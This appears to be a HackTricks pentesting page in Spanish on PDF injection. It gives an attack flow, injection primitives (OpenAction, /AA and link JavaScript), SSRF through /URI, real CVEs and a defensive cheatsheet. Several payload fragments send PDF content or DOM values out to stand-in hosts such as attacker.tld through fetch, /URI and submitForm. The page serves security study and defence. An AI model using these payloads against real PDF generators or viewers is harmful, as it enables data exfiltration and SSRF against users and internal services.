PDF Injection
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Si tu entrada se refleja dentro de un archivo PDF, puedes intentar inyectar datos PDF para ejecutar JavaScript, realizar SSRF o robar el contenido del PDF. La sintaxis de PDF es extremadamente permisiva – si puedes salir de la cadena o del diccionario que está insertando tu entrada, puedes anexar objetos totalmente nuevos (o nuevas claves en el mismo objeto) que Acrobat/Chrome analizará sin problemas. Desde 2024, una ola de informes de bug-bounty ha demostrado que un solo paréntesis sin escapar o back-slash es suficiente para la ejecución completa de scripts.
TL;DR – Flujo de ataque moderno (2024-2026)
- Encuentra cualquier valor controlado por el usuario que termine dentro de un (parenthesis string),
/URI ( … )o/JS ( … )en el PDF generado. - Inyecta
)(cerrando la cadena) seguido de uno de los primitivos siguientes y termina con otro paréntesis de apertura para mantener la sintaxis válida. - Entrega el PDF malicioso a una víctima (o a un servicio backend que renderice automáticamente el archivo – ideal para bugs ciegos).
- Tu payload se ejecuta en el visor de PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (ver CVE-2024-4367)
- Acrobat → API completa de JavaScript (puede exfiltrar contenidos arbitrarios de archivos con
this.getPageNthWord)
Ejemplo (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
El primer ) cierra la cadena URI original, luego añadimos un nuevo diccionario Action que Acrobat ejecutará cuando el usuario haga clic en el enlace.
Useful Injection Primitives
| Objetivo | Fragmento de payload | Notas |
|---|---|---|
| JavaScript al abrir | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Se ejecuta inmediatamente cuando se abre el documento (funciona en Acrobat, no en Chrome). |
| JavaScript en el enlace | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Funciona en PDFium & Acrobat si controlas una anotación /Link. |
| Exfiltración ciega de datos | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Combínalo con this.getPageNthWord dentro de JS para robar contenido. |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | Igual que arriba pero apunta a una URL interna — útil cuando el PDF es renderizado por servicios internos que respetan /URI. |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | Adjunta al diccionario de Page/Annotation/Form para ejecutarse al abrir/enfocar. |
| Salto de línea para nuevos objetos | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Si la librería te permite inyectar caracteres de nueva línea, puedes crear objetos totalmente nuevos. |
Embedded Actions as Injection Targets
Los visores de PDF tratan las embedded actions tales como /OpenAction y /AA (Acciones adicionales) como características de primera clase que pueden ejecutarse cuando se abre un documento o cuando ocurre un evento específico. Si puedes inyectar en cualquier diccionario que acepte acciones (Catalog, Page, Annotation, or Form field), puedes injertar un árbol /AA y activar JavaScript al abrir/enfocar.
Ejemplo de payload para generator-side object injection (cierra la cadena/diccionario original e inyecta /AA):
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
Este patrón coincide con problemas recientes de jsPDF donde una entrada controlada por un atacante pasada a addJS (o ciertos campos de AcroForm) sale de la cadena JavaScript prevista e inyecta un diccionario Additional Action.
Blind Enumeration Trick
Gareth Heyes (PortSwigger) publicó un comando de una línea que enumera cada objeto dentro de un documento desconocido – práctico cuando no puedes ver el PDF generado:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
El código itera sobre el Acrobat DOM y realiza peticiones salientes por cada par propiedad/valor, dándote un volcado JSON-ish del archivo. Consulta el white-paper “Portable Data exFiltration” para la técnica completa.
Real-World Bugs (2023-2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: cadenas controladas por el atacante pueden cerrar el literal JS e inyectar acciones/AA→/O→/JavaScriptque se disparan al abrir/enfocar. - CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js prior to 4.2.67 burló el sandbox con una acción
/JavaScriptespecialmente creada. - Bug bounty 2024-05 – Una fintech importante permitió notas de factura suministradas por el cliente que acabaron en
/URI; el informe recibió $10k tras demostrar SSRF hacia un host de metadata interno usando la URIfile:///. - CVE-2023-26155 –
node-qpdfcommand-injection vía una ruta PDF no saneada muestra la importancia de escapar backslashes y paréntesis incluso antes de la capa PDF.
Defensive Cheatsheet
- Nunca concatenes input de usuario sin saneado dentro de strings o nombres
(…). Escapa\,(,)según lo requerido por §7.3 del PDF spec o usa hex strings<...>. - Si construyes links, prefiere
/URI (https://…)que codifiques la URL totalmente; bloquea esquemasjavascript:en los viewers cliente. - Elimina o valida los diccionarios
/OpenAction,/AA(additional actions),/Launch,/SubmitFormy/ImportDataal post-procesar PDFs. - En el servidor, renderiza PDFs no confiables con un headless converter (p. ej. qpdf –decrypt –linearize) que elimine JavaScript y acciones externas.
- Mantén los PDF viewers actualizados; PDF.js < 4.2.67 y Acrobat Reader antes de los parches de julio de 2024 permiten ejecución de código trivial.
- Si usas generadores en cliente (p. ej., jsPDF), nunca pases input no confiable a
addJSo a setters de AcroForm que acaben dentro de diccionarios de acciones PDF.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (Feb 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (Sep 2025) – embedded actions like OpenAction/AA. https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


